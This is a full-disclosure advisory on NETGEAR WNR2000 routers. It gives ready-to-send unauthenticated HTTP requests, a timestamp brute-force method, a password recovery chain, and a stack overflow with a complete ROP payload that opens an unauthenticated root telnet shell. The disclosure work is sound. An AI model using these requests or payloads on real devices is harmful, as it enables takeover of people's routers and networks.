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Date: Tue, 20 Dec 2016 22:42:03 +0100
From: Pedro Ribeiro <pedrib@...il.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: [FD] [0-day] RCE and admin credential disclosure in NETGEAR WNR2000

Hi,

tl;dr
RCE in NETGEAR WNR2000 routers, exploitable over the LAN by default or
over the WAN if remote administration is enabled.
10.000 devices affected show up in Shodan - these are the ones with
remote admin enabled. There are likely tens of thousands of vulnerable
routers in private LANs as this device is extremely popular.

As usual, NETGEAR did not respond to any of my emails, so I'm releasing
this advisory and exploit code as a 0-day.
See [1] for the exploit code, but bear in mind it is only "alpha"
quality. A more robust exploit will be released in the next week and
sent upstream to Metasploit.

MITRE has not assigned any CVE numbers yet but I will keep trying to get
them. If they are not obtained then this vulnerability should be
referred with the BID / BugTraq number that will be assigned to it.

A copy of the advisory is in
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt

Regards,
Pedro

>> Stack buffer overflow vulnerability in NETGEAR WNR2000 router
>> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information
Security
==========================================================================
Disclosure: 20/12/2016 / Last updated: 20/12/2016

>> Background on the affected products:
"Wirelessly connect all of your computers and mobile devices. N300 WiFi
speed lets you simultaneously download, stream music and video, and game
online. NETGEAR genieĀ® makes it easy to setup and monitor your network.
Parental controls keep your Internet experience safe and secure."


>> Summary:
The NETGEAR WNR2000 allows an administrator to perform a number of
sensitive functions in the web interface through an apparent CGI script
named apply.cgi. This script is invoked when changing Internet settings,
WLAN settings, restore to factory defaults, reboot the router, etc.
However apply.cgi is not really a script, but a function that is invoked
in the HTTP server (uhttpd) when it receives that string in the URL.
When reversing uhttpd, it was found that it also allows an
unauthenticated user to perform the same sensitive admin functions if
apply_noauth.cgi is invoked instead.
Some of the functions, such as rebooting the router, can be exploited
straight away by an unauthenticated attacker. Other functions, such as
changing Internet, WLAN settings or retrieving the administrative
password, require the attacker to send a "timestamp" variable attached
to the URL. This timestamp is generated every time the target page is
accessed and functions as a sort of anti-CSRF token.
The timestamp generating function was reverse engineered and due to
incorrect use of random number generation (details below) it is possible
to identify the token in less than 1000 attempts with no other previous
knowledge.

By combining this knowledge with an information leakage, it is possible
to recover the administrator password. This password is then used to
enable telnet functionality in the router and obtain a root shell if the
attacker is in the LAN.

Finally, a stack buffer overflow was also discovered, which combined
with the apply_noauth.cgi vulnerability and the timestamp identifying
attack allows an unauthenticated attacker to take full control of the
device and execute code remotely. This vulnerability allows the attacker
to execute code in the LAN and in the WAN.

It should be noted that the WNR2000v5 does not have remote
administration enabled by default on the latest firmware, and unless the
administrator enables it, this attack is only possible in the LAN. Only
the WNR2000v5 device was tested, but versions 3 and 4 of this router
should also be vulnerable. At the time of the intial disclosure, there
are over 10.000 vulnerable routers appearing in a Shodan search.

Exploit code has been released with this advisory, but it is of "alpha"
quality (see [1]). This exploit code will be improved and ported to
Metasploit in the next week.


>> Technical details:
#1
Vulnerability: Information leakage
NO CVE ASSIGNED
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below
for other constraints.
Affected versions:
- WNR2000v5, all firmware versions (confirmed in hardware)
- WNR2000v4, all firmware versions possibly affected (confirmed only by
static analysis)
- WNR2000v3, all firmware versions possibly affected (confirmed only by
static analysis)

The device leaks its serial number when performing a request to
http://<device_web_portal>/BRS_netgear_success.html:
HTTP/1.0 200 OK
Server: uhttpd/1.0.0
Date: Thu, 01 Jan 1970 00:11:42 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html; charset="UTF-8"
Connection: close

<html>
<head>
</head>
<body>
<script>
/* 22281: add sn after success href */
var sn="4D01615V0009D";                      <--- serial number of the
device
(...)

This vulnerability is useful for further exploitation in #2.


#2
Vulnerability: Improper access control
NO CVE ASSIGNED
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below
for other constraints.
Affected versions:
- WNR2000v5, all firmware versions (confirmed in hardware)
- WNR2000v4, all firmware versions possibly affected (confirmed only by
static analysis)
- WNR2000v3, all firmware versions possibly affected (confirmed only by
static analysis)

-----------------------
The vulnerability
-----------------------

The WNR2000 router allows an administrator to perform sensitive actions
by invoking the apply.cgi URL on the web server of the device. This
special URL is handled by the embedded web server (uhttpd) and processed
accordingly.
While reverse engineering uhttpd, it was discovered that another
function, apply_noauth.cgi allows an unauthenticated user to perform
sensitive actions on the device. For example, to reboot the router, the
following request can be sent:

====
POST /apply_noauth.cgi?/reboot_waiting.htm HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

submit_flag=reboot&yes=Yes
====

To reset to factory defaults:
====
POST /apply_noauth.cgi?/pls_wait_factory_reboot.html HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

submit_flag=factory
====

Change WLAN settings:
====
POST /apply_noauth.cgi?/WLG_wireless.htm HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 754

submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=&old_length=&wl_sec_wpaphrase_len=17&wl_hidden_wpa_psk=somewifipassword&hidden_sec_type=&wep_press_flag=&wpa1_press_flag=0&wpa2_press_flag=1&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNet=&hidden_enable_ssidbro=&hidden_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid=1337Net&wl_WRegion=4&wl_hidden_wlan_channel=0&wl_hidden_wlan_mode=2&wl_hidden_sec_type=4&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecret_a=&wl_enable_ssid_broadcast=1&hidden_enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NETGEAR09&wla1ssid=NETGEAR-5G_Guest1&wlg1ssid=NETGEAR-Guest&WRegion=4&w_channel=0&opmode=2&opmode54=1&security_type=WPA2-PSK&passphrase=somewifipassword
====

Change password recovery settings for the administrator account:
====
POST /apply_noauth.cgi?/PWD_password.htm%20timestamp=26123148 HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2
====

These are just examples, there is a lot more functionality that can be
accessed using apply_noauth.cgi. However, apart from the three first
examples, most actions will require knowledge of a "timestamp" variable
which is appended to the URL (like in the fourth example). Identifying
this timestamp is non-trivial and will be explained in detail.

-----------------------
Timestamp generation
-----------------------

This timestamp variable is generated each time a user accesses a page.
For example, to change the WLAN settings, a user has to visit the
WLG_wireless.htm page. The timestamp variable will be generated when
that page is accessed, and stored in the device configuration.
Each time the page is visited, a new timestamp is generated and embedded
in the page. Even if the page has not been accessed by a user since the
device has rebooted, the timestamp variable will still be preset in the
configuration. It was not investigated why this occurs but most likely
this timestamp is generated and saved at some point in the boot process.
Note that each page or function will have a different timestamp at any
time, stored in the device configuration. It is also crucial to note
that an unauthenticated user cannot access any of the pages, so it
cannot force generation of a timestamp or retrieve its value.

The function responsible for this timestamp generation is at 0x4101E8
(firmware version 1.0.0.34 for the WNR2000v5) and it has a symbol name
of get_timestamp.
The following C code shows how the timestamp generation is done:

  long t0, t1, t2, t3, t4, hi;
  int i;
  float final;

  // seed srand with NULL is the same as seeding it with the current
UNIX system time
  srand(0);

  t0 = rand();
  t1 = 0x17dc65df;
  hi = (int)((t0 * t1) >> 32);
  t2 = t0 >> 31;
  t3 = hi >> 23;
  t3 = t3 - t2;
  t4 = t3 * 0x55d4a80;
  t0 = t0 - t4;
  t0 = t0 + 0x989680;

  final = (float) t0;
  printf("%9.f\n", final);

The final cast to float is crucial, as this will force the number to be
rounded using IEEE 754 rules, and will slightly increase or decrease the
final value. This is exactly what happens in the disassembled code, and
the C code above can generate timestamps with 100% accuracy.
Porting this code to Ruby (in order to release exploit code, see [1])
was a challenge. First, the behaviour of srand and rand in ruby is
completely different, so the actual libc functions had to be ported line
by line. Second, Ruby uses double precision floating point integers by
default, so pack and unpack had to be used in order to force single
precision float behaviour.

-----------------------
Achieving reliable exploitation
-----------------------

The unresolved problem for an unauthenticated attacker is that it needs
to guess the current timestamp value in order to perform any of the
attacks described above. This could be limited by first attempting all
possible values in the current hour, current day, current month, current
year in order.
However there is an optimal way to do it.

One of the few actions that is possible for an unauthenticated attacker
to execute without knowing the timestamp is to reboot the device. If the
device is rebooted, then the attacker will know that the UNIX time used
to seed srand and to generate the timestamp will be in the last 5
minutes or so (about the time it takes to reboot and for the attacker to
re-connect to it). Therefore, to easily guess the timestamp, all that
has to be done is the following:

a) send a reboot request
b) wait for the device to reboot and connect again to it (via WLAN or
Ethernet)
c) send a HTTP GET request to the device, and get its current time from
the Date HTTP header
d) using the algorithm above, seed srand with all possible values
starting from the UNIX timestamp obtained from parsing the Date header
minus 300 (60 seconds times 5 minutes)
e) attempt to perform the intended function (factory reset, change WLAN,
etc) by invoking the apply_noauth.cgi script with the correct parameters
and each output from d) until the correct timestamp is hit and the
function executed

Using this technique, the bruteforce needed to guess the timestamp is
greatly reduced, enabling an unauthenticated attacker to be successful
100% of the time (actual number of tries needed will vary approximately
between 300 and 5000, but usually less than 1000).

For WAN exploitation (when remote management is enabled) rebooting is
not an option (as most likely the device will have a new IP address
after boot); for this case, the best way to exploit the device is to
start from the current time backwards and keep sending requests until
the correct value is hit.

-----------------------
Obtaining the admin password
-----------------------

With the possibility of resetting the password recovery settings, the
attacker can now obtain the administrator password.
After a successful password recovery reset using the algorithm detailed
in "Achieving reliable exploitation", the attacker now has to:

a1) Send a POST request to unauth.cgi with the serial number
POST /apply_noauth.cgi?/unauth.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

submit_flag=match_sn&serial_num=<serial>&continue=+Continue+

b1) Send a POST request to securityquestions.cgi with the answer to the
security questions
POST /apply_noauth.cgi?/securityquestions.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+

c1) Finally, send a GET request to passwordrecovered.cgi and the admin
username and password will be displayed:
(...)
<TR><TD colSpan=2>You have successfully recovered the admin
password.</TD></TR>
<TR><TD colSpan=2>&nbsp;</TD></TR>
<TR >
        <TD nowrap
colSpan=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Router Admin
Username: admin</TD>
</TR>
<TR>
        <TD nowrap
colSpan=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Router Admin
Password: password</TD>
(...)

-----------------------
Executing code as root
-----------------------

NETGEAR routers have a handy function that allows a user to enable a
root console via telnet with a special magic packet. This magic packet
is calculated with the MAC of the device, plus the administrator
username and password, which is then MD5 hashed and Blowfish encrypted
with "AMBIT_TELNET_ENABLE+" plus the password. For more details, see [2].

Given that the its possible to retrieve the administator username and
password as explained above, in order to execute code all that is needed
is to send the magic packet with the script in [3], and connect to port
23 to land in a root shell with no futher authentication required.

All of the above assumes the administrator password has been changed. If
it hasn't, the executing code as root is trivial with the telnetenable
script in [3].


#3
Vulnerability: Stack buffer overflow
NO CVE ASSIGNED
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below
for other constraints.
Affected versions:
- WNR2000v5, all firmware versions (confirmed in hardware)
- WNR2000v4, all firmware versions possibly affected (confirmed only by
static analysis)
- WNR2000v3, all firmware versions possibly affected (confirmed only by
static analysis)

-----------------------
Vulnerability details
-----------------------

The HTTP server in the device (uhttpd) handles access to *.cgi files in
a special way. Instead of fetching a CGI file from the file system, it
handles them internally according to the URL. This mechanism has already
been described in vulnerability #2 and in the Summary section.
A key parameter of the apply*.cgi URL is the submit_flag, which will
determine which uhttpd function will be invoked when processing the request.

If the following request is sent:
POST /apply.cgi?/lang_check.html%20timestamp=14948715 HTTP/1.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
Content-Length: 604

submit_flag=select_language&hidden_lang_avi=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDDDDEEEEFFFFbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

A stack buffer overflow occurs, which can be seen when debugging the
process in gdb:
Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2
  a3
 R0   00000000 00000001 00000000 00000054 00000000 7fae7ee1 ffffff87
000009c0
            t0       t1       t2       t3       t4       t5       t6
  t7
 R8   2ab96420 00000000 00000001 fffffff8 fffffffe 00000001 00000000
00000000
            s0       s1       s2       s3       s4       s5       s6
  s7
 R16  41414141 42424242 43434343 44444444 00000002 00000025 0000002b
00000002
            t8       t9       k0       k1       gp       sp       s8
  ra
 R24  00000002 2ab5a170 2ab825f8 00000000 0048f4a0 7fae7f18 004b51b8
45454545
        status       lo       hi badvaddr    cause       pc
      0000ff13 000f41db 000003dd 45454544 10800008 45454545
          fcsr      fir  restart
      00000000 00000000 00000000
(gdb) x/32xw $sp
0x7fae7f18:	0x46464646	0x62626262	0x62626262	0x62626262
(...)

The following registers can be controlled by an attacker:
$ra/$pc = index 52 of hidden_lang_avi parameter (EEEE)
$s0 = index 36 (AAAA)
$s1 = index 40 (BBBB)
$s2 = index 44 (CCCC)
$s3 = index 48 (DDDD)
$sp = index 56 (FFFF)

This vulnerability will be analysed using firmware 1.0.0.34 for the
WNR2000v5 router.
The function at address 0x446428 is invoked to process the
hidden_lang_avi parameter. This function extracts the parameter and then
processes it as shown in a snippet below:
(...)
LOAD:00446510                 la      $t9, strcpy
LOAD:00446514                 addiu   $s1, $sp, 0x48+hidden_lang_avi_var
LOAD:00446518                 move    $a1, hidden_lang_avi_str #
hidden_lang_avi_str = $s0, obtained from the cgi value
LOAD:0044651C                 jalr    $t9 ; strcpy     # first overflow
occurs here
LOAD:0044651C                                          # - copies
hidden_lang_avi cgi param to hidden_lang_avi_var
LOAD:00446520                 move    $a0, $s1
LOAD:00446524                 b       loc_4464C4
(snippet of function starting at 0x446428)

As it can be seen, an overflow occurs here, but upon further
investigation this is not actually where the crash occurs.
Following the branch instruction, we then go to:
LOAD:004464C4 loc_4464C4:
LOAD:004464C4                 la      $t9, config_set
LOAD:004464C8                 lui     $a0, 0x47  # 'G'
LOAD:004464CC                 move    $a1, $s1            # $s1 points
to the stack variable seen in the previous snippet as "hidden_lang_avi_var"
LOAD:004464D0                 jalr    $t9 ; config_set
LOAD:004464D4                 la      $a0, aNew_language  # "New_Language"
LOAD:004464D8                 jal     check_language_file
LOAD:004464DC                 move    $a0, $s1
(snippet of function starting at 0x446428)

The hidden_lang_avi_var string is then passed to check_language_file as
the first parameter. This function does some further processing, but
then passes it on to another function, region_search, again as the first
parameter:
LOAD:004463DC loc_4463DC:
LOAD:004463DC                 la      $t9, region_search
LOAD:004463E0                 jalr    $t9 ; region_search
LOAD:004463E4                 move    $a0, $s0    # $s0 contains the
hidden_lang_avi_var passed on from 0x446428
(snippet of function check_language_file)

Which finally leads us to the function where the overflow occurs,
region_search:
LOAD:004130B0 region_search:
LOAD:004130B0
LOAD:004130B0                 lui     $gp, 0x49  # 'I'
LOAD:004130B4                 addiu   $sp, -0x50
LOAD:004130B8                 la      $gp, unk_48F4A0
LOAD:004130BC                 sw      $ra, 0x50+var_4($sp)
LOAD:004130C0                 sw      $s3, 0x50+var_8($sp)
LOAD:004130C4                 sw      $s2, 0x50+var_C($sp)
LOAD:004130C8                 sw      $s1, 0x50+var_10($sp)
LOAD:004130CC                 sw      $s0, 0x50+var_14($sp)
LOAD:004130D0                 sw      $gp, 0x50+var_40($sp)
LOAD:004130D4                 beqz    $a0, loc_4131F0
LOAD:004130D8                 la      $t9, strcpy
LOAD:004130DC                 addiu   $s2, $sp, 0x50+var_38   # stack
variable which will be overflown
LOAD:004130E0                 move    $a1, $a0                # $a0, AKA
hidden_lang_avi_var from 0x446428
LOAD:004130E4                 lui     $s3, 0x48  # 'H'
LOAD:004130E8                 jalr    $t9 ; strcpy            # second
overflow occurs here
LOAD:004130EC                 move    $a0, $s2
(snippet of region_search)

As it can be seen above, a stack variable which is located at an offset
of 0x38 is the one overflown and it is in this function that the crash
shown in gdb above occurs. The first register we control, $s0, has its
value stored at offset 0x14, which is stored in the stack 0x24 (36)
bytes from the stack variable that gets overwritten.

Note that this vulnerability can be exploited by an authenticated
attacker (via the apply.cgi URL) or by an unauthenticated attacker that
knows the timestamp parameter (via the apply_noauth.cgi parameter, and
using the technique described in #1 to know the timestamp).

-----------------------
Exploitation
-----------------------

The NETGEAR WNR2000 is a MIPS device, and it does not have ASLR or NX,
so this vulnerability can be exploited to execute shellcode on the stack.
MIPS Cores have separate instruction and data caches so that an
instruction can be read and a load or store done simultaneously [4].
Usually when writing MIPS exploits, one has to flush the caches before
executing any shellcode that has been injected (see [4] for another
example). There are at least six ways to achieve this:

i) Use pure ROP / return-to-libc
When using only ROP / ret-to-libc, the stack will simply be used to
store data (where the next instruction is). The instructions used to
execute code are already part of the program, and no modification of
them is done. For this reason, there is no need to flush the caches when
using pure ROP (as in no code in the stack is executed) or return-to-libc.

ii) call libc's sleep()

iii) call libc's cacheflush()

iv) invoke MIPS cacheflush syscall (Linux example)
  li      $v0, 0x1033     ; load $v0 with the syscall number
  syscall 0

v) issue instructions to flush the cache directly (kernel mode only, see
[6], page 2; see also [4] (page 12-24))

vi) Put the shellcode in the kseg1 memory segment (kernel mode only)
This is in the memory range 0xa0000000 to 0xc0000000. For more details
check [6].

In order to reduce exploit complexity, approach i) will be taken,
eliminating both the need to flush the cache and the need to write
shellcode. The system() function can be invoked to start telnetd,
download and execute a file with wget, etc.

All firmware versions for the WNR2000v5 appear to use
libuClibc-0.9.30.1.so, which makes gadget hunting easier. In this
device, uClibc is loaded at a fixed address of 0x2AB24000, which makes
it easy to write an exploit for all firmware versions. Luckily, only one
gadget was needed to perform the attack.

The ROP gadget will load $sp into $a0 (which will contain the system()
command) and call $s0 (which will contain the address of system()):
LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0
LOAD:00024630                 move    $t9, $s0
LOAD:00024634                 jalr    $t9

The stack needs to be set up in the following way:
payload =
  'a' * 36      +
     # filler (trash the stack until we hit $s0)
  system()      +
     # $s0
  '1111'        +
     # $s1
  '2222'        +
     # $s2
  '3333'        +
     # $s3
  gadget        +
     # gadget
  'b' * 0x40    +
     # filler (discard these bytes because of gadget)
  "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l
/bin/sh"  # payload

This payload will have the final value of:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%2a%b7%87%d0111122223333%2a%b4%86%2cbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbkillall
telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh

The payload is then sent in the hidden_lang_avi parameter which will
then result in the telnetd server being started on port 23, running as
root with no authentication. By simply connecting to port 23 a root
shell is presented.
The only constraints for the payload is that it should not contain
ampersand (&), percentage (%) or null characters. The uhttpd server will
die after this attack is performed, but it is restarted by a watchdog
every couple of minutes.


>> Fix:
NETGEAR did not respond to any emails, so THERE IS NO FIX for this
vulnerability.
It is recommended to replace this router with another make and model
that supports OpenWRT firmware.

Timeline of disclosure:
26.09.2016: Email sent to NETGEAR (security@...gear.com) asking for PGP
key, no response.
28.10.2016: Email sent to NETGEAR (security@...gear.com) asking for PGP
key, no response.
26.11.2016: Disclosed vulnerability to CERT through their web portal.
29.11.2016: Received reply from CERT. They indicated that NETGEAR does
not cooperate with them, so they recommended getting CVE numbers from
MITRE and releasing the vulnerability information
            Email to MITRE requesting CVE numbers, no response.
            Email sent to NETGEAR (security@...gear.com) asking for PGP
key, no response.
20.12.2016: Public disclosure.


>> References:
[1]
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/netgearPwn.rb
[2] https://wiki.openwrt.org/toh/netgear/telnet.console
[3] https://github.com/insanid/netgear-telenetenable
[4]
http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf
[5]
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
[6]
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